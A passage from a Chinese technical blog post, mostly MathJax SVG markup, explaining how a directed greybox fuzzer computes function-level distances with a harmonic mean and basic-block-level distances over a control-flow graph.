385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g></g></g></g></svg></mjx-container></span>，对不同的目标函数你都要考虑最短路径，所以自然地的你要考虑在它们的基础上取平均，这里采用的策略是取调和平均(harmonic mean)。下面严格定义<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.357ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 600 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>到<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.667ex" xmlns="http://www.w3.org/2000/svg" width="2.389ex" height="2.199ex" role="img" focusable="false" viewBox="0 -677 1055.9 972"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="mi" transform="translate(617,-150) scale(0.707)"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 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335T594 310T574 285T559 263T548 246L543 238L574 198Q605 158 622 138T664 94T714 61T765 51Q827 51 867 100T907 217ZM92 214Q92 145 131 89T239 33Q357 33 456 193L425 233Q364 312 334 337Q285 380 233 380Q171 380 132 331T92 214Z"></path></g></g></g></svg></mjx-container></span>，意味着两者距离无限大。可以看到的是这个调和平均并不标准，大括号里面少了一个<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -1.31ex" xmlns="http://www.w3.org/2000/svg" width="7.438ex" height="3.267ex" role="img" focusable="false" viewBox="0 -864.9 3287.5 1443.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mfrac"><g data-mml-node="mn" transform="translate(1467,394) scale(0.707)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 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61Q149 65 218 339T287 628Q287 635 230 637ZM630 554Q630 586 609 608T523 636Q521 636 500 636T462 637H440Q393 637 386 627Q385 624 352 494T319 361Q319 360 388 360Q466 361 492 367Q556 377 592 426Q608 449 619 486T630 554Z"></path></g><g data-mml-node="mo" transform="translate(1037,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1426,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(2026,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="msub" transform="translate(2304,0)"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="mi" transform="translate(617,-150) scale(0.707)"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g></g><g data-mml-node="mo" transform="translate(3359.9,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(3748.9,0) translate(0 -0.5)"><path data-c="7C" d="M139 -249H137Q125 -249 119 -235V251L120 737Q130 750 139 750Q152 750 159 735V-235Q151 -249 141 -249H139Z"></path></g></g><rect width="3047.5" height="60" x="120" y="220"></rect></g></g></g></svg></mjx-container></span>。这里为什么要用调和平均，而不是算术平均或者几何平均呢？实际上调和平均的哲学意义是如果一个过程中有多条平行的路径，经过这些平行路径之后，等效的结果就是调和平均。图中举了一个例子，用来解释算术平均对当前描述更近或者更远的路径这个意义下不是很敏感。</p><figure><img src="https://www.m4p1e.com/images/image-20210516122929085.png" alt="arithmetirc mean and harmonic mean"><figcaption aria-hidden="true">arithmetirc mean and harmonic mean</figcaption></figure><p>可以看到在算术平均下，三个nodes对目标函数距离的平均是相等的，这显然不符合预期。作为补充，文中更关注是找到一条最近的路径，这也可以成为什么选择调和平均的理由，因为调和平均和几何平均都是对小数更“敏感”，这个敏感如何精确的描述呢? 参考其图像，其中小数让其图像更陡(观察下图中<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.339ex" xmlns="http://www.w3.org/2000/svg" width="2.282ex" height="1.339ex" role="img" focusable="false" viewBox="0 -442 1008.6 592"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mn" transform="translate(605,-150) scale(0.707)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></g></svg></mjx-container></span>变小的过程)，也就是说其描述的函数的二阶导是个负数。</p><p><img src="https://www.m4p1e.com/images/1rpRL6mhiHv7kPn3LCXFJvg.png"></p><h5 id="basic-block-level">2. basic-block-level</h5><p>用于度量给定某个基本块和目标基本块的距离。注意这个目标基本块它是指包含目标函数调用的基本块，也就是说文章的instrument过程不标记基本块为目标，而是如果某个基本块可能发生问题，我可以在这里插一个目标函数，让它往这里走. 给定某个特定过程内的CFG <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="2.518ex" height="1.952ex" role="img" focusable="false" viewBox="0 -705 1113 862.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D43A" d="M50 252Q50 367 117 473T286 641T490 704Q580 704 633 653Q642 643 648 636T656 626L657 623Q660 623 684 649Q691 655 699 663T715 679T725 690L740 705H746Q760 705 760 698Q760 694 728 561Q692 422 692 421Q690 416 687 415T669 413H653Q647 419 647 422Q647 423 648 429T650 449T651 481Q651 552 619 605T510 659Q492 659 471 656T418 643T357 615T294 567T236 496T189 394T158 260Q156 242 156 221Q156 173 170 136T206 79T256 45T308 28T353 24Q407 24 452 47T514 106Q517 114 529 161T541 214Q541 222 528 224T468 227H431Q425 233 425 235T427 254Q431 267 437 273H454Q494 271 594 271Q634 271 659 271T695 272T707 272Q721 272 721 263Q721 261 719 249Q714 230 709 228Q706 227 694 227Q674 227 653 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stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>到<span 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-220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1295.3,0)"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(2173.3,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(2618,0)"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g><g data-mml-node="mo" transform="translate(2979,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span>表示一个CFG内两个基本块之间的最短路径，当然这两个基本块的路径可能是不存在的，这种情况下它们直接的距离可以描述为<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="2.262ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 1000 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="221E" d="M55 217Q55 305 111 373T254 442Q342 442 419 381Q457 350 493 303L507 284L514 294Q618 442 747 442Q833 442 888 374T944 214Q944 128 889 59T743 -11Q657 -11 580 50Q542 81 506 128L492 147L485 137Q381 -11 252 -11Q166 -11 111 57T55 217ZM907 217Q907 285 869 341T761 397Q740 397 720 392T682 378T648 359T619 335T594 310T574 285T559 263T548 246L543 238L574 198Q605 158 622 138T664 94T714 61T765 51Q827 51 867 100T907 217ZM92 214Q92 145 131 89T239 33Q357 33 456 193L425 233Q364 312 334 337Q285 380 233 380Q171 380 132 331T92 214Z"></path></g></g></g></svg></mjx-container></span>，这样在结果上也是well-defined。前述定义是足够清晰的，其涵盖的三种情况包括</p><ul><li>如果<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="6.948ex" height="1.889ex" role="img" focusable="false" viewBox="0 -677 3070.9 834.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(1155.8,0)"><path data-c="2208" d="M84 250Q84 372 166 450T360 539Q361 539 377 539T419 540T469 540H568Q583 532 583 520Q583 511 570 501L466 500Q355 499 329 494Q280 482 242 458T183 409T147 354T129 306T124 272V270H568Q583 262 583 250T568 230H124V228Q124 207 134 177T167 112T231 48T328 7Q355 1 466 0H570Q583 -10 583 -20Q583 -32 568 -40H471Q464 -40 446 -40T417 -41Q262 -41 172 45Q84 127 84 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-11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></g></svg></mjx-container></span>，<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.986ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 878 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 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data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="mi" transform="translate(617,-150) scale(0.707)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></g></svg></mjx-container></span>上，这种情况下自然<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.986ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 878 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>和<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="2.195ex" height="1.889ex" role="img" focusable="false" viewBox="0 -677 970.3 834.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="mi" transform="translate(617,-150) scale(0.707)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></g></svg></mjx-container></span>的距离为0;</li><li>如果<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.09ex" xmlns="http://www.w3.org/2000/svg" width="6.345ex" height="1.622ex" role="img" focusable="false" viewBox="0 -677 2804.6 717"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 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501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g></g></g></svg></mjx-container></span>，那么取到目标函数最短的距离乘上某个常系数;</li><li>在不满足上述两个情况的条件下，考虑<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.986ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 878 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>在<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="2.518ex" height="1.952ex" role="img" focusable="false" viewBox="0 -705 1113 862.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D43A" d="M50 252Q50 367 117 473T286 641T490 704Q580 704 633 653Q642 643 648 636T656 626L657 623Q660 623 684 649Q691 655 699 663T715 679T725 690L740 705H746Q760 705 760 698Q760 694 728 561Q692 422 692 421Q690 416 687 415T669 413H653Q647 419 647 422Q647 423 648 429T650 449T651 481Q651 552 619 605T510 659Q492 659 471 656T418 643T357 615T294 567T236 496T189 394T158 260Q156 242 156 221Q156 173 170 136T206 79T256 45T308 28T353 24Q407 24 452 47T514 106Q517 114 529 161T541 214Q541 222 528 224T468 227H431Q425 233 425 235T427 254Q431 267 437 273H454Q494 271 594 271Q634 271 659 271T695 272T707 272Q721 272 721 263Q721 261 719 249Q714 230 709 228Q706 227 694 227Q674 227 653 224Q646 221 643 215T629 164Q620 131 614 108Q589 6 586 3Q584 1 581 1Q571 1 553 21T530 52Q530 53 528 52T522 47Q448 -22 322 -22Q201 -22 126 55T50 252Z"></path></g><g data-mml-node="mi" transform="translate(819,-150) scale(0.707)"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g></g></svg></mjx-container></span>上可达的其他基本块<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.817ex" height="1.441ex" role="img" focusable="false" viewBox="0 -626 361 637"><g 